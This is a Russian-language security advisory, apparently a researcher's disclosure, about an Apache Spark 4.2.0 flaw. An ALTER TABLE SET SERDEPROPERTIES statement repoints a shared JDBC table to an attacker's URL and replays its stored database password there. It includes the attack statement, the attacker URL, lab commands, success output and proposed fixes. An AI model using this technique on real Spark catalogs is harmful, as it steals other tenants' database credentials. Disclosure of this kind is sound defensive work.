
Apache Spark 4.2.0 — высокий уровень — удалённо — инъекция JDBC URL — ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Класс: инъекция JDBC URL Достижимость: удалённая
Apache Spark 4.2.0 (32f72996) — Apache Software Foundation
SPARK-31710 запретил дополнительным опциям времени сканирования переопределять сохранённый JDBC url. ALTER TABLE SET SERDEPROPERTIES по-прежнему сливается в storage.properties, который является картой опций JDBC-сканирования. Сохранённые user / password не являются именами опций Spark JDBC, поэтому они переносятся на новый URL.
SQL-пользователь общего каталога может перенацелить предоставленную оператором таблицу USING jdbc и воспроизвести сохранённый пароль базы данных на выбранном им хосте.
| ID | CVE пока нет |
| Класс | инъекция JDBC URL / повторное использование сохранённых учётных данных (остаток от SPARK-31710) |
| Достижимость | удалённая (Connect или Hive Thrift SQL на общем каталоге) |
| CWE | CWE-15, CWE-522 |
| CVSS | High: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Продукт | Apache Spark |
| Затронуто | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC-таблицы |
| Аутентификация | SQL-пользователь общего каталога (не jar, отправленный на выполнение задания) |
| Лицензия | GNU Affero GPL v3.0 |
| Лаборатория | только 127.0.0.1:18960 |
Сессия Connect gRPC SQL или сессия Hive Thrift SQL на общем externalCatalog, в котором уже есть постоянная таблица USING jdbc с сохранёнными учётными данными. Не отправитель задания. Не сессия, назвавшая исходный URL.
| Метод | Точка сброса | Привилегия |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>'), затем REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties, затем JDBC Driver.connect(url, properties) | Целостность: перенацеливание предоставленной таблицы на слушателя атакующего. Подтверждено в лаборатории (connect=yes). Конфиденциальность: воспроизведение сохранённых user / password БД при запуске PostgreSQL и аутентификации в открытом виде. Подтверждено в лаборатории (user-replay=true password-replay=true). Разведка секрета через SHOW CREATE закрыта (отредактировано). |
То же сохранение, последующий SELECT другого арендатора по t | строка общего каталога | Целостность, предполагается: запросы других сессий к t теперь попадают на новый URL (не та БД, строки под контролем атакующего). Доступность, предполагается: исходная БД недоступна, пока администратор не сбросит serde. Вне рамок для DoS. |
Дополнительные ключи serde (sessionInitStatement, prepareQuery, driver) | опции сканирования поверх оставшихся user / password | Целостность, предполагается: дополнительные инструкции или Driver из classpath с конструктором без аргументов. Не завышать до RCE без гаджета в classpath по умолчанию. Не проверялось. |
ALTER TABLE SET TBLPROPERTIES | только CatalogTable.properties | Закрыто для этого разбора. Подтверждено в лаборатории (storage url не изменён, попадания в оракул нет). |
Конфликт дополнительной опции url времени сканирования | SPARK-31710 generateDatasourceOptions | Закрыто. Подтверждено в лаборатории (extra-options-clash отклонён). |
spark.read.format("jdbc").option("url", ...), названный той же сессией | предполагаемая плоскость данных | ОТБРОШЕНО. URL под контролем владельца — это не данный остаток. |
SET SERDE '<class>' на таблице источника данных | имя класса | Закрыто (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Не проверялось. |
Смежное закрыто: JDBC / пути к файлам, названные сессией. Проверка конфликта spark.sql.legacy.extraOptionsBehavior. В OSS Spark нет Unity externalOptionsAllowList. URL в CREATE TABLE контролируется владельцем (не этот остаток). Редактирование JDBC URL в логах безусловно. path файловой таблицы находится в locationUri. Соединения JDBCTableCatalog берутся из конфигурации каталога сессии (та же плоскость данных, что и выбор URL). Однопользовательский pyspark без общего каталога вне модели.
Я зафиксировал Spark 4.2.0, не master и не 4.3 RC. Отправка заданий в открытом кластере — так и задумано. Интересные остатки находятся рядом с именованными исправлениями. SPARK-31710 / generateDatasourceOptions отклоняет другой url времени сканирования для существующего ключа serde. SET TBLPROPERTIES пишет только table.properties. Таблицы источников данных по-прежнему допускают SET SERDEPROPERTIES и сливаются в storage.properties (++, побеждают более поздние ключи). user и password никогда не попадают в jdbcOptionNames, поэтому asConnectionProperties передаёт их в Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE редактирует password. SQL-пользователь не может прочитать секрет обратно. Но он всё ещё может его перенести.
Уже зафиксированные ложные пути: считать url из CREATE TABLE ошибкой; снова подавать конфликт дополнительных опций; ожидать, что SET TBLPROPERTIES переместит storage; утверждать, что SHOW CREATE раскрывает пароль; запускать полный кластер, когда процитированный Scala — это гаджет; обратная оболочка. Оракул — это запуск PostgreSQL плюс аутентификация в открытом виде на loopback.
cd lab
./run.sh
Loopback 127.0.0.1:18960 — слушатель протокола PostgreSQL. HTTP-проверка состояния — 127.0.0.1:18961. Контейнер-гаджет — Temurin 21 плюс libpostgresql-jdbc-java. Сохранённый URL — jdbc:postgresql://127.0.0.1:1/provisioned (соединение отклонено). URL атаки — jdbc:postgresql://oracle:18960/stolen. Сохранённый пользователь spark_jdbc. Сохранённый пароль stored-secret-SPARK-JDBC-SERDE-URL. Привяжите к loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
Отклонять ключи SET SERDEPROPERTIES, конфликтующие с сохранёнными JDBC url / user / password, — та же проверка, которую generateDatasourceOptions уже выполняет для дополнительных опций времени сканирования. Либо отбрасывать сохранённые user / password при изменении url. Либо трактовать JDBC serde источника данных как свойства таблицы, а не storage. До тех пор не предоставляйте недоверенному SQL ALTER TABLE на постоянной таблице USING jdbc, которая хранит пароль.